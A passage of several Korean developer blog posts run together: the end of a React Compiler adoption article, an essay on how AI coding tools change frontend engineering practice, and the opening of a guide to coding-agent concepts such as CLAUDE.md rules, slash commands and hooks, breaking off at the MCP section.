도입 전에 기존 코드베이스가 얼마나 호환되는지 미리 확인할 수 있다.

```bash
npx react-compiler-healthcheck@latest
```

이 명령은 다음을 리포트한다:

- 컴파일 가능한 컴포넌트 수
- StrictMode 활성화 여부
- 제거 가능한 수동 메모이제이션 (`useMemo`/`useCallback`) 수

### 동작 확인

컴파일러가 제대로 적용되었는지 확인하는 방법은 두 가지다.

**1. React DevTools**: 컴파일된 컴포넌트에 "Memo ✨" 배지가 표시된다. 개발 모드에서 앱을 열고 DevTools의 Components 탭을 확인하면 된다.

**2. 빌드 출력 확인**: 번들된 코드에 `import { c as _c } from "react/compiler-runtime"` 이 포함되어 있으면 컴파일러가 동작하고 있는 것이다.

### 기존 useMemo/useCallback은 어떻게 해야 하나?

이미 `useMemo`, `useCallback`, `React.memo`를 사용하고 있는 코드가 있다면, **당장 제거하지 않아도 된다.** 컴파일러는 기존 수동 메모이제이션과 충돌 없이 함께 동작한다.

다만 주의할 점이 있다. 기존 수동 메모이제이션을 제거하면 **컴파일러의 출력이 달라질 수 있다.** 따라서 기존 코드를 정리하려면 충분한 테스트를 거친 후 진행하는 것이 좋다. 새로운 코드에서는 컴파일러에 맡기고, `useMemo`/`useCallback`은 effect 의존성을 정밀하게 제어해야 하는 경우에만 사용하면 된다.

### 점진적 도입

전체 프로젝트에 한꺼번에 적용하기 부담스러우면, 단계적으로 도입할 수 있다.

**특정 컴포넌트만 컴파일 (opt-in):**

```js
// babel 또는 next.config.js
{
  compilationMode: 'annotation',
}
```

```tsx
export default function Page() {
  'use memo' // 이 컴포넌트만 컴파일
  // ...
}
```

**특정 컴포넌트 제외 (opt-out):**

```tsx
function ProblematicComponent() {
  'use no memo' // 이 컴포넌트는 컴파일 건너뜀
  // ...
}
```

**디렉토리 단위 적용:** Babel의 `overrides`를 활용하면 특정 디렉토리에만 컴파일러를 적용할 수 있다.

```js
// babel.config.js
module.exports = {
  plugins: [],
  overrides: [
    {
      test: './src/new-features/**/*.{js,jsx,ts,tsx}',
      plugins: ['babel-plugin-react-compiler'],
    },
  ],
}
```

## 마치며

React Compiler는 Babel AST에서 시작해 HIR, SSA, Effect 분석, Reactive Scope 추론을 거치는 44단계의 정교한 파이프라인으로 자동 메모이제이션을 수행한다. 개발자가 수동으로 하는 것보다 더 세밀한 수준에서, 의존성 관리 실수 없이.

프로덕션 결과는 은탄환이 아니지만, 충분히 실용적이다. 초기 로드 영향 없이 인터랙션 성능을 개선하고, 99%+ 컴포넌트와 호환된다. Signals 같은 런타임 접근법 대신 빌드 타임 정적 분석을 선택한 것은, React의 프로그래밍 모델을 보존하면서 가장 큰 고충을 해결하는 실용적 결정이다.

### React는 더 이상 라이브러리가 아니다

개인적인 의견이지만, 솔직히 이 시점에서 React를 "UI 라이브러리"라고 부르기는 어렵다. 자체 컴파일러, Server Components, Server Actions, 그리고 Next.js 같은 프레임워크와의 깊은 통합까지 — React는 이미 하나의 플랫폼에 가깝다. "라이브러리냐 프레임워크냐"라는 오래된 논쟁이 있었는데, 44단계짜리 최적화 컴파일러를 내장한 라이브러리는 이 세상에 없다. 그리고 이런 방향이 반드시 나쁘다고 생각하지도 않는다. 컴파일러가 해결해주는 문제의 크기를 생각하면, 이 정도의 복잡성은 충분히 그 가치가 있다.

### 그럼 useMemo/useCallback은 이제 몰라도 되는 걸까?

솔직히 말하면, **아니다.** 컴파일러가 자동으로 처리해준다고 해서 원리를 몰라도 된다는 뜻은 아니다.

첫째, 컴파일러가 bailout하는 상황이 존재한다. 외부 라이브러리 호출, 복잡한 동적 패턴 등 컴파일러가 분석을 포기하는 경우에는 여전히 수동으로 최적화해야 한다. 원리를 모르면 왜 성능이 안 나오는지 진단조차 할 수 없다.

둘째, 컴파일러는 코드 구조를 바꿔주지 않는다. 자주 변경되는 state와 드물게 변경되는 state를 분리하거나, 리렌더링 범위를 줄이기 위해 컴포넌트를 재구성하는 것은 여전히 개발자의 몫이다. 이런 판단을 하려면 React의 렌더링 모델과 메모이제이션의 원리를 이해하고 있어야 한다.

셋째, 참조 동등성(referential equality)에 대한 이해는 React뿐 아니라 JavaScript 전반에서 중요한 개념이다. `useMemo`와 `useCallback`을 공부하는 과정에서 자연스럽게 익히게 되는 클로저, 참조 비교, 불변성 같은 개념들은 컴파일러가 대체할 수 있는 성격의 것이 아니다.

컴파일러는 **보일러플레이트를 자동화**해주는 것이지, **개발자의 이해를 대체**해주는 것이 아니다. 자동 변속기가 나왔다고 해서 엔진의 원리를 몰라도 되는 건 아닌 것처럼, 컴파일러가 나왔다고 해서 메모이제이션의 원리를 몰라도 되는 건 아니다. 다만, 그 지식을 매 컴포넌트마다 반복적으로 적용하는 노동에서 해방된다는 것이 핵심이다.

## 참고

- [How React Compiler Performs on Real Code - developerway.com](https://www.developerway.com/posts/how-react-compiler-performs-on-real-code)
- [Understanding React Compiler - Tony Alicea](https://tonyalicea.dev/blog/understanding-react-compiler/)
- [React Compiler Internals - Lydia Hallie (React Summit 2025)](https://gitnation.com/contents/react-compiter-internals)
- [React Compiler Design Goals - GitHub](https://github.com/facebook/react/blob/main/compiler/docs/DESIGN_GOALS.md)
- [React Compiler - Official Docs](https://react.dev/learn/react-compiler)
- [React Compiler Playground](https://playground.react.dev/)

---

Source: https://yceffort.kr/2026/02/frontend-engineering-in-ai-era.md
Title: AI가 코드를 짜는 시대, 프론트엔드 엔지니어링은 어디로 가는가
Description: AI 코딩 도구가 바꾸는 건 개발자가 아니라, 개발자가 하던 일의 형태다.
Date: 2026-02-14
Tags: essay, ai, frontend

## Table of Contents

## 개요

얼마 전 AI에게 컴포넌트 하나를 시켰다. 30초 만에 코드가 나왔다. 동작도 했다. 그런데 프로덕션에 올리기엔 찝찝했다. 리렌더링이 불필요하게 많았고, 상태를 엉뚱한 곳에서 관리하고 있었고, API 호출 패턴이 워터폴을 만들고 있었다. 명세 없이 "대충 만들어줘"라고 시킨 결과였다. AI가 만든 코드를 고치는 데 결국 직접 짜는 것보다 더 오래 걸렸다.

"개발자가 필요 없어지는 것 아니냐"는 이야기가 나온다. 틀렸다. 없어지는 건 개발자가 아니라, 개발자가 하던 일의 형태다. 코드를 타이핑하는 시간은 줄었지만, "이 코드가 프로덕션에 나가도 되는가"를 판단하는 일은 오히려 더 많아졌다. AI가 코드를 짜는 속도가 빨라질수록, 그 코드를 검증하고 방향을 잡아주는 사람의 역할이 더 중요해진다.

AI 코딩 도구를 적극적으로 쓰면서 느끼는 변화들을 프론트엔드 엔지니어 입장에서 정리해본다.

## AI에게 코드를 시키기 전에, 명세를 먼저 정의해라

AI 코딩 도구를 쓸 때 가장 흔한 실수는 코드와 테스트를 동시에 만들어달라고 하는 것이다. AI가 자기가 만든 잘못된 코드를 "정상"이라고 확인해주는 테스트를 같이 만든다. 틀린 답안지에 맞는 채점 기준표를 스스로 만드는 셈이다.

그래서 "테스트를 먼저 쓰고 AI에게 코드를 시켜라"는 원칙이 나온다. TDD가 AI 시대에 가장 강력한 품질 관리 도구라는 이야기인데, 프론트엔드에서는 이걸 그대로 적용하기 어렵다. 솔직히 말하면, 프론트엔드와 TDD는 궁합이 좋지 않다.

프론트엔드에서 TDD가 어려운 데는 근본적인 이유가 있다.

첫째, **프론트엔드의 결과물은 시각적 출력이다.** "버튼을 클릭하면 모달이 열린다"는 테스트로 쓸 수 있지만, "이 모달이 디자인 시안과 맞는가"는 테스트로 표현할 수 없다. CSS 한 줄 바꿨는데 레이아웃이 깨지는 걸 단위 테스트가 잡아주지 않는다.

둘째, **UI 테스트는 유지 비용이 높다.** Testing Library처럼 role이나 label 기반으로 테스트하면 DOM 구조 변경에 대한 취약성은 줄일 수 있다. 하지만 컴포넌트를 분리하거나 상태 관리 방식을 바꾸면 테스트도 같이 바꿔야 하는 건 여전하다. UI가 자주 바뀌는 프로젝트에서 테스트 유지 비용이 높아 "작성 → 유지 포기 → 삭제"의 사이클을 반복하는 팀이 많다.

셋째, **프론트엔드의 "올바른 동작"은 맥락에 따라 달라진다.** 같은 컴포넌트라도 모바일과 데스크톱에서 다르게 동작해야 하고, 네트워크 상태에 따라 다른 UI를 보여줘야 한다. 이런 조합을 전부 테스트로 커버하는 건 비현실적이다.

그래서 프론트엔드에서는 "테스트를 먼저 쓴다"를 "명세를 먼저 정의한다"로 확장해서 생각해야 한다. 영역에 따라 명세의 형태가 다르다.

**비즈니스 로직은 TDD가 잘 맞는다.** 카드 한도 계산, 할부 이자 산출, 입력값 유효성 검증 같은 건 순수 함수로 분리할 수 있고, 입력과 출력이 명확하다. 테스트를 먼저 쓰고 "이 테스트를 통과하는 함수를 만들어줘"라고 AI에게 시키면 꽤 정확한 결과가 나온다.

**UI 컴포넌트는 스토리북이 명세 역할을 한다.** 컴포넌트의 각 상태(기본, 로딩, 에러, 빈 상태 등)를 스토리로 먼저 정의하고, AI에게 그에 맞는 컴포넌트를 만들게 한다. 시각적 회귀 테스트 도구(Chromatic 등)가 "이전과 달라졌는가"를 자동으로 잡아준다. TDD와 형태는 다르지만, "검증 기준을 먼저 정의하고 AI에게 구현을 맡긴다"는 원칙은 같다.

**상태 관리와 데이터 흐름은 타입 시스템이 명세가 된다.** TypeScript의 타입 정의를 정밀하게 해두면, AI가 타입에 맞지 않는 코드를 생성했을 때 컴파일 단계에서 잡힌다. 잘못된 코드가 애초에 존재할 수 없게 만드는 것이다. `any` 타입을 남발하는 코드베이스에서는 이 효과를 기대할 수 없다. 타입을 엄격하게 쓸수록 AI가 만든 코드의 신뢰도가 올라간다.

정리하면, 프론트엔드에서 AI에게 코드를 시키기 전에 먼저 정의해야 하는 것은 비즈니스 로직의 테스트, UI의 스토리, 데이터 흐름의 타입이다. 세 가지 모두 "AI가 만든 결과물을 자동으로 검증할 수 있는 기준"이라는 점에서 본질은 같다.

## 코드 리뷰가 하던 네 가지 역할이 흩어진다

코드 리뷰는 사실 네 가지 일을 동시에 하고 있었다.

1. **후배 교육.** 시니어가 주니어의 코드를 보면서 더 나은 방법을 알려주는 것.
2. **코딩 스타일 통일.** 팀 전체가 일관된 방식으로 코드를 작성하게 만드는 것.
3. **버그 잡기.** 논리적 오류나 엣지 케이스를 찾아내는 것.
4. **신뢰 확보.** "이 코드를 프로덕션에 올려도 괜찮은가"라는 확신을 얻는 것.

AI가 코드를 대량 생산하면 사람이 한 줄씩 리뷰하는 게 현실적으로 불가능해진다. 하루에 올라오는 PR 양이 이전과는 비교가 안 된다. 그렇다고 리뷰를 없애면 이 네 가지가 전부 사라진다.

**코딩 스타일 통일 → 린터와 포매터, 그리고 커스텀 규칙.** ESLint, Prettier가 기본적인 코드 스타일은 이미 잡아주고 있다. 하지만 리뷰에서 반복적으로 지적하게 되는 건 포맷팅이 아니라 팀 컨벤션이다. 이걸 커스텀 ESLint 규칙으로 만들면 된다. "이벤트 핸들러 네이밍은 handle- 접두사를 쓴다", "API 호출은 반드시 이 래퍼 함수를 쓴다" 같은 것들이다. 예전에는 커스텀 규칙을 만드는 비용이 커서 엄두를 못 냈지만, AI에게 "이런 패턴을 잡아내는 ESLint 규칙을 만들어줘"라고 시키면 금방 나온다. 사람이 리뷰에서 반복적으로 하던 지적을 도구로 옮기는 것이다.

**버그 잡기 → 자동화된 테스트와 정적 분석.** AI가 만든 코드든 사람이 만든 코드든, 테스트를 통과하지 못하면 머지되지 않는다. TypeScript의 타입 체크, ESLint의 규칙, CI의 테스트 파이프라인이 사람 대신 버그를 잡는다.

**신뢰 확보 → 위험도에 비례하는 검증 수준.** 모든 코드를 동일한 깊이로 리뷰하는 것을 포기해야 한다. "이 코드가 틀리면 얼마나 큰 문제가 되는가"를 기준으로 리뷰의 깊이를 조절한다. 결제 플로우나 개인정보 처리 관련 코드는 반드시 사람이 꼼꼼히 본다. 내부 어드민 도구의 UI 수정은 자동 테스트 통과와 시각적 회귀 테스트만으로 충분하다. 엔지니어링이 장인 모델(모든 줄을 사람이 검수)에서 위험 관리 모델(검증 투자는 위험도에 비례)로 전환되는 것이다.

**후배 교육 → 함께 코딩하는 시간.** 이게 가장 어렵다. 코드 리뷰는 비동기적이라 시간 부담이 적었다. 페어 프로그래밍은 동기적이고, 양쪽 모두의 시간을 직접 소비한다. 하지만 AI가 코드를 생성하는 속도로 리뷰가 쌓이는 환경에서, 비동기 리뷰로 교육 효과를 기대하기는 점점 어려워진다. 주니어가 AI 도구로 만든 코드를 올렸는데, 시니어가 "이거 왜 이렇게 했어?"라고 물으면 "AI가 이렇게 만들었어요"라고 답하는 상황. 코드 리뷰가 학습 채널로 작동하지 않는다.

현실적인 대안은 형태를 바꾸는 것이다. 주니어가 AI에게 프롬프트를 쓰고 결과물을 판단하는 과정을 시니어가 옆에서 코칭하는 식의 페어 프로그래밍, 주 1회 짧은 라이브 코딩 세션에서 "이번 주에 AI로 만든 코드 중 가장 고민됐던 것"을 함께 리뷰하는 식이다. 시간 투자가 필요하지만, AI가 코드를 만들어주는 세상에서 교육의 초점은 "코드를 짜는 법"이 아니라 "AI가 만든 코드를 판단하는 법"이 되어야 한다.

## 기술 부채가 아니라 "인지 부채"를 걱정해야 한다

기술 부채는 익숙한 개념이다. 코드에 쌓이고, 리팩토링으로 갚는다.

더 걱정해야 할 건 "인지 부채"다. 시스템의 복잡도와 팀이 그 시스템을 이해하는 정도 사이의 격차를 말한다.

프론트엔드는 특히 인지 부채가 쌓이기 쉬운 환경이다. 컴포넌트 수가 수백 개에 달하고, 각 컴포넌트가 어떤 상태를 관리하고, 어떤 API와 연결되어 있고, 어떤 조건에서 어떤 화면을 보여주는지를 전부 파악하는 건 쉽지 않다. 여기에 AI가 코드 변경 속도를 높이면, 코드는 빠르게 변하는데 사람이 시스템을 이해하는 속도는 그대로다. 코드 리뷰가 줄어들면 시스템의 변화를 자연스럽게 학습하는 채널도 사라진다.

5명짜리 팀에서 한 사람만 시스템을 다 이해하고 있다면, 그 자체가 팀의 인지 부채다. 아무리 그 사람이 뛰어나도, 그 사람이 빠지면 팀이 멈춘다. AI가 코드 생산 속도를 높일수록 이 문제는 더 빠르게 악화된다.

프론트엔드 팀에서 현실적으로 할 수 있는 건 몇 가지가 있다.

- **주간 아키텍처 회고.** 이번 주에 컴포넌트 구조나 상태 관리가 어떻게 바뀌었는지를 팀 전체가 15분이라도 함께 확인한다. 코드를 한 줄씩 보는 게 아니라, 변경의 방향과 의도를 공유하는 것이다.
- **스토리북을 컴포넌트 문서로 활용.** 코드를 읽지 않아도 각 컴포넌트가 어떤 상태를 가지는지 파악할 수 있게 한다. 새 팀원이 왔을 때 스토리북만 훑어봐도 시스템의 UI 구조가 머릿속에 그려지는 수준이면 된다.
- **AI를 코드 이해에도 활용.** "이 디렉토리의 컴포넌트 의존 관계를 설명해줘"라고 AI에게 물어보는 것만으로도 시스템 파악이 빨라진다. AI가 코드를 만드는 속도로 인지 부채가 쌓인다면, AI로 인지 부채를 갚는 것도 가능하다.

## 요구사항의 품질이 코드 품질보다 중요해진다

앞에서는 테스트, 스토리, 타입 같은 기술적 검증 기준을 이야기했다. 여기서는 그보다 앞단의 문제, 요구사항 자체의 품질을 이야기한다. AI에게 코드를 시키려면, "뭘 만들어야 하는지"를 정확하게 써줘야 한다. "사용자로서 ~를 원한다" 같은 모호한 유저 스토리는 AI가 해석하기에 너무 애매하다. AI는 모호한 입력에 대해 그럴듯하지만 틀린 결과를 자신 있게 만들어낸다.

프론트엔드에서 이 문제가 특히 두드러지는 영역이 폼 유효성 검증과 조건부 UI다. "이메일 형식이 잘못되면 에러를 보여준다" 정도의 스펙으로는 AI가 제대로 된 구현을 만들기 어렵다. "이메일 입력 중에는 에러를 보여주지 않고, 포커스를 벗어난 뒤에 검증하며, 서버 검증과 클라이언트 검증의 에러 메시지가 다르고, 에러 상태에서 다시 입력하면 에러가 사라진다" 같은 수준의 명세가 필요하다.

금융 서비스 프론트엔드에서는 더하다. "카드 한도 초과 시 어떻게 동작해야 하는가"를 자연어로 모호하게 쓰면, AI는 그럴듯하지만 틀린 구현을 만든다. 상태 머신으로 각 화면 상태와 전이 조건을 정확히 정의하면, AI가 그에 맞는 코드를 훨씬 정확하게 생성한다.

이건 역설적으로 프론트엔드 엔지니어의 가치가 높아지는 부분이다. 좋은 UI 명세를 쓰려면 사용자 행동 패턴을 이해해야 하고, 엣지 케이스(네트워크 에러, 동시 입력, 느린 응답 등)를 예측할 수 있어야 하며, 브라우저와 디바이스의 제약을 알고 있어야 한다. 코딩 능력은 AI가 대체할 수 있지만, 이 능력은 대체하기 훨씬 어렵다.

## 병목이 "만드는 속도"에서 "결정하는 속도"로 옮겨간다

AI 도구를 도입하면 코드 생산 속도는 확실히 빨라진다. 컴포넌트 하나 만드는 데 반나절 걸리던 게 30분이면 끝난다. 그런데 조직의 의사결정 속도는 그대로다.

디자인 리뷰 기다리는 시간, API 스펙 확정 기다리는 시간, 다른 팀과의 의존성 해결 기다리는 시간. 이건 AI 도구로 줄일 수 없다. 팀이 백로그를 며칠 만에 처리해도, 바로 이런 벽에 부딪힌다. 결과적으로 전체 속도는 변하지 않고, 좌절감만 커진다.

이 문제는 모든 엔지니어링 팀에 해당하지만, 프론트엔드에서 특히 심하다. 프론트엔드는 디자인, 백엔드 API, 기획 세 방향의 의존성을 동시에 받는 위치에 있기 때문이다. 흔히 겪는 시나리오가 있다. AI로 컴포넌트를 빠르게 만들었는데, 디자이너의 피드백이 일주일 뒤에 온다. 수정은 30분이면 되지만 피드백 대기가 5일이다. API가 아직 안 나와서 목업 데이터로 작업했는데, 실제 API 응답 구조가 달라서 다시 만들어야 한다. 기획이 A/B 테스트를 결정 못 해서 두 버전을 다 만들어놨는데, 결국 둘 다 안 쓴다. 코드 생산 속도가 아무리 빨라져도, 이런 구조적 병목 앞에서는 무력하다.

이걸 인지하고 있으면, 생산성 향상을 추구할 때 방향이 달라진다. "AI 도구를 더 잘 쓰자"가 아니라 "결정이 빨리 내려지는 구조를 만들자"가 되어야 한다. 디자인과 개발의 동기화 주기를 줄이거나, API 스펙을 먼저 합의하고 병렬로 작업하거나, 위험도가 낮은 UI 결정은 프론트엔드 팀에서 자율적으로 내릴 수 있게 권한을 위임하는 식이다.

## AI가 대량 생산을 쉽게 만들어도, 작게 나눠 배포해야 한다

AI 도구로 큰 규모의 코드 변경을 쉽게 만들 수 있게 되면서, "한 번에 크게 배포"하는 방식으로 돌아가는 팀들이 보인다.

10년간의 DORA 리서치가 반복적으로 증명한 결론은 "작게 자주 배포할수록 안정적"이라는 것이다. 직관과 다르다. 큰 변경을 한 번에 하면 효율적일 것 같지만, 실제로는 문제가 생겼을 때 원인을 찾기가 훨씬 어렵고 롤백도 복잡해진다.

프론트엔드에서 이 함정에 특히 빠지기 쉽다. AI가 컴포넌트 10개를 한꺼번에 리팩토링해줄 수 있다. 공통 스타일 변경, 상태 관리 마이그레이션, API 연동 방식 변경 같은 것들을 AI가 일괄로 처리해주면, 하나의 거대한 PR이 만들어진다. 이걸 리뷰하는 건 사실상 불가능하고, 배포 후 장애가 나면 열 군데 중 어디가 원인인지 알 수 없다.

AI가 만들어준 변경이라고 해서 배포 원칙까지 바뀌는 건 아니다. AI에게 "한 번에 다 바꿔줘"라고 시키지 말고, "이 컴포넌트만 바꿔줘"를 열 번 시키는 게 맞다. PR 크기 제한과 배포 빈도는 의식적으로 관리해야 한다.

## 시니어 프론트엔드 엔지니어의 역할 전환

경험 많은 엔지니어가 AI 도구를 쓸 때 더 효과적인 결과를 내는 건 어찌 보면 당연하다. 시스템 아키텍처에 대한 이해가 깊으니까, AI에게 더 정확한 맥락을 줄 수 있고, 만들어진 결과물의 품질을 빠르게 판단할 수 있다.

프론트엔드에서 이 차이가 드러나는 전형적인 장면이 있다. AI가 컴포넌트를 만들어줬는데, 주니어는 "동작하니까 됐다"고 생각한다. 시니어는 "이 컴포넌트가 번들에서 차지하는 비중이 너무 크다", "이 의존성은 트리쉐이킹이 안 된다", "이 데이터 페칭 패턴은 레이아웃 시프트를 만든다"를 바로 잡아낸다. AI가 코드를 짜는 세상에서, 이런 판단력의 가치는 오히려 올라간다.

시니어 엔지니어의 역할은 "컴포넌트를 직접 많이 만드는 사람"에서 "팀과 시스템의 병목을 찾아 제거하는 사람"으로 바뀌고 있다. 번들 사이즈가 왜 커졌는지, 어떤 의존성이 빌드를 느리게 만드는지, 컴포넌트 구조의 어디에서 복잡도가 폭발하는지. 이런 걸 아는 건 경험 있는 사람만 할 수 있다.

다만 이 전환이 쉽지 않다. 코딩을 좋아해서 이 업계에 들어온 사람에게 "이제 직접 코딩은 줄여라"라고 하는 것이다. 컴퓨터 그래픽 분야의 역사가 좋은 비유다. 1990년대 초반에 폴리곤 렌더링 알고리즘을 손으로 짜던 엔지니어들은, 3dfx Voodoo 같은 3D 가속 카드가 보급되면서 그 작업이 하드웨어로 내려갔다. 하지만 그 위에서 애니메이션, 조명, 물리 엔진이라는 새로운 전문 영역이 열렸다. 추상화 계층이 올라갈 때마다 "나는 폴리곤을 렌더링하려고 고용된 사람인데"라며 멈춘 사람들은 뒤처졌다.

같은 일이 프론트엔드에서 벌어지고 있다. 컴포넌트를 직접 짜는 작업이 AI로 내려가면, 그 위에서 성능 최적화, 아키텍처 설계, 팀의 인지 부채 관리라는 전문 영역이 더 중요해진다.

## 마치며

에이전트 운영체제니 자기 치유 시스템이니 하는 이야기들은 아직 먼 미래다. 프론트엔드 팀에서 지금 당장 할 수 있는 건 이것들이다.

- 비즈니스 로직은 테스트를, UI는 스토리북을, 데이터 흐름은 타입을 먼저 정의하고 AI에게 구현을 시킨다.
- 코드 리뷰의 목적을 분리하고, 결제나 개인정보 같은 고위험 영역은 사람이 꼼꼼히 보되 나머지는 자동 검증에 맡긴다.
- AI 도구를 쓰더라도 PR 크기와 배포 빈도를 의식적으로 관리한다.
- "우리 팀이 시스템을 얼마나 이해하고 있는가"를 주기적으로 점검한다.

AI가 프론트엔드 개발을 바꾸고 있는 건 사실이다. 하지만 바뀌는 건 "컴포넌트를 만드는 방법"이지, "좋은 사용자 경험을 만드는 데 필요한 것"이 아니다. 사용자 행동을 이해하는 능력, 복잡한 상태를 설계하는 능력, 성능 병목을 진단하는 능력, 팀이 함께 시스템을 이해하는 문화를 만드는 능력. 이런 것들은 AI가 코드를 아무리 잘 짜도 여전히 사람의 몫이다.

도구가 바뀌었다고 원칙까지 바뀌는 건 아니다.

---

Source: https://yceffort.kr/2026/01/coding-agent-core-concepts.md
Title: <em>코딩 에이전트</em> 핵심 개념 완전 가이드
Description: Rules, Commands, MCP, Sub-agents, Hooks, Skills, Plugins까지 코딩 에이전트의 핵심 개념 총정리
Date: 2026-01-17
Tags: ai, devops, backend

## Table of Contents

## 들어가며

이 글은 [leerob 채널의 영상](https://www.youtube.com/watch?v=L_p5GxGSB_I)을 번역하고, 내가 아는 선에서 내용을 덧붙이고 링크를 추가한 것이다. 원본과 다소 다를 수 있으니 참고하자.

코딩 에이전트를 제대로 활용하려면 몇 가지 핵심 개념을 이해해야 한다. Rules, Commands, MCP, Sub-agents, Modes, Hooks, Skills, Plugins - 이름만 들어도 복잡해 보이지만, 각각이 해결하는 문제를 파악하면 쉽게 이해할 수 있다.

## 먼저 배워야 할 것들

모든 개념을 한 번에 익힐 필요는 없다. 다음 순서로 접근하면 된다.

**1단계: CLAUDE.md (Rules)**

- 가장 먼저 설정해야 할 것
- 프로젝트 구조, 코딩 컨벤션, 자주 쓰는 명령어를 적어두면 에이전트가 훨씬 똑똑해진다

**2단계: Hooks**

- 파일 저장 후 자동 포맷팅, 린팅 같은 "반드시 해야 하는 것"을 강제
- 에이전트가 잊어버리는 것을 방지

**3단계: Commands**

- 반복되는 워크플로우가 생기면 그때 만들어도 늦지 않다

**4단계: Sub-agents, MCP, Skills**

- 복잡한 작업이 필요해질 때 배우면 된다
- 처음부터 다 쓰려고 하면 오히려 복잡해진다

---

## 1. Rules (규칙) - 정적 컨텍스트

### 정의

Rules는 **모든 대화에 항상 포함되는 정적 컨텍스트**다. 에이전트가 작업을 시작할 때 자동으로 로드되어 프로젝트의 맥락, 코딩 규칙, 비즈니스 요구사항 등을 제공한다.

### 등장 배경

초기 AI 코딩 에이전트들은 환각(hallucination) 문제가 심했다. 모델이 코드베이스의 구조를 잘못 이해하거나, 존재하지 않는 API를 사용하거나, 팀의 코딩 컨벤션을 무시하는 경우가 빈번했다.

Rules 파일은 이러한 문제를 해결하기 위해 등장했다. 매 대화마다 동일한 정보를 반복해서 입력할 필요 없이, 한 번 작성해두면 모든 세션에서 자동으로 참조된다.

### 발전 과정

```text
단일 rules 파일 → 여러 sub-files로 분리 → 결국 하나의 정적 컨텍스트로 병합
```

초기에는 하나의 파일이었지만, 프로젝트가 복잡해지면서 여러 파일로 분리되었다. 하지만 결국 모든 파일이 하나의 컨텍스트로 합쳐져서 매 대화에 포함된다.

### Claude Code에서의 구현: CLAUDE.md

Claude Code에서는 `CLAUDE.md` 파일이 이 역할을 한다.

**파일 위치와 계층 구조:**

```text
your-project/
├── CLAUDE.md                    # 프로젝트 루트 (전체 적용)
├── .claude/
│   ├── CLAUDE.md               # 프로젝트 설정
│   └── rules/
│       ├── code-style.md       # 코드 스타일 규칙
│       ├── testing.md          # 테스트 규칙
│       └── security.md         # 보안 규칙
├── frontend/
│   └── CLAUDE.md               # 하위 디렉토리 (이 폴더에서만 적용)
└── CLAUDE.local.md             # 개인 설정 (.gitignore에 추가)
```

**CLAUDE.md 예시:**

```markdown
# Project Overview

Next.js 15 기반 핀테크 애플리케이션. PostgreSQL + Prisma 사용.

## Commands

- `pnpm dev`: 개발 서버 시작
- `pnpm test`: 테스트 실행
- `pnpm lint`: ESLint + Prettier 검사

## Code Style

- TypeScript strict 모드 사용
- 함수형 컴포넌트 + React hooks만 사용
- 모든 API 응답에 Zod 스키마 적용

## File Boundaries

- Safe to edit: /src/, /tests/
- Never touch: /node_modules/, /.env\*
```

### 핵심 원칙

**최소한의 고품질 컨텍스트만 포함하자.** 모든 대화에 포함되기 때문에 불필요한 정보는 토큰 낭비이자 성능 저하의 원인이 된다.

연구에 따르면 최신 LLM은 약 150-200개의 지시사항을 일관되게 따를 수 있다. Claude Code의 시스템 프롬프트 자체가 이미 약 50개의 지시사항을 포함하고 있으므로, CLAUDE.md에는 정말 필요한 것만 넣어야 한다.

**살아있는 문서로 관리하자.** 에이전트가 실수할 때마다 해당 내용을 규칙에 추가한다. PR 리뷰에서 "@cursor 이거 규칙에 추가해줘"라고 하면 에이전트가 자동으로 업데이트한다.

### 공식 문서

- [Claude Code Memory 문서](https://docs.anthropic.com/en/docs/claude-code/memory)
- [Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)

---

## 2. Commands / Slash Commands (명령어)

### 정의

Commands는 **반복적으로 사용하는 프롬프트를 패키징해서 필요할 때 실행하는 워크플로우**다. `/`로 시작하는 명령어를 입력하면 미리 정의된 프롬프트가 실행된다.

### 등장 배경

코딩 에이전트를 사용하다 보면 동일한 패턴의 요청을 반복하게 된다. "코드 리뷰해줘", "테스트 작성해줘", "커밋하고 PR 열어줘" 같은 요청을 매번 상세하게 작성하는 것은 비효율적이다.

Commands는 이런 반복 작업을 한 번의 명령어로 실행할 수 있게 해준다. 팀과 공유할 수 있고, Git에 저장할 수 있다.

### Rules와의 차이점

| 구분          | Rules                 | Commands               |
| ------------- | --------------------- | ---------------------- |
| 적용 시점     | 모든 대화에 항상 포함 | 명시적으로 호출할 때만 |
| 목적          | 컨텍스트 제공         | 워크플로우 실행        |
| 컨텍스트 영향 | 항상 토큰 소비        | 호출 시에만 토큰 소비  |

### Claude Code에서의 구현

**파일 위치:**

```text
your-project/
├── .claude/
│   └── commands/
│       ├── review.md           # /project:review
│       ├── commit.md           # /project:commit
│       └── deploy/
│           └── staging.md      # /project:deploy:staging

~/.claude/
└── commands/
    └── my-workflow.md          # /user:my-workflow (모든 프로젝트에서 사용)
```

**명령어 파일 예시 (.claude/commands/review.md):**

```markdown
---
description: 코드 변경사항 리뷰
argument-hint: [file-path]
allowed-tools: Read, Grep, Glob, Bash(git diff:*)
---

## 리뷰 대상

!`git diff --name-only HEAD~1`

## 변경 내역

!`git diff HEAD~1`

## 리뷰 체크리스트

1. 코드 품질 및 가독성
2. 보안 취약점
3. 성능 영향
4. 테스트 커버리지
5. 문서화 완성도

$ARGUMENTS 파일에 집중해서 검토해주세요.
```

**사용법:**

```bash
# 입력창에서
/project:review src/auth/login.ts

# 또는 대화 중 아무 위치에서나 / 입력
```

### 고급 기능

**동적 인자 처리:**

```markdown
---
argument-hint: [pr-number] [priority] [assignee]
---

PR #$1을 $2 우선순위로 리뷰하고 $3에게 할당해주세요.
```

**커맨드 내 훅 정의:**

```markdown
---
description: 스테이징 배포
hooks:
  PreToolUse:
    - matcher: 'Bash'
      hooks:
        - type: command
          command: './scripts/validate-deploy.sh'
          once: true
---

현재 브랜치를 스테이징에 배포해주세요.
```

### 사용 권장 사항

- 단순하게 유지하자. 복잡한 커맨드 목록은 안티패턴이다.
- 진짜 반복되는 작업에만 사용하자.
- 워크플로우 오케스트레이션은 Commands가 아닌 Skills나 Sub-agents로 처리하자.

### 공식 문서

- [Slash Commands 문서](https://docs.anthropic.com/en/docs/claude-code/slash-commands)

---

## 3. MCP Servers (Model Context Protocol)

### 정의

MCP(Model Context Protocol)는 **AI 에이전트에게 외부 도구와 데이터 소스에 대한 접근 권한을 제공하는 오픈 소스 표준**이다. MCP 서버는 에이전트가 사용할 수 있는 도구(tools), 프롬프트(prompts), 리소스(resources)를 노출한다.

### 등장 배경

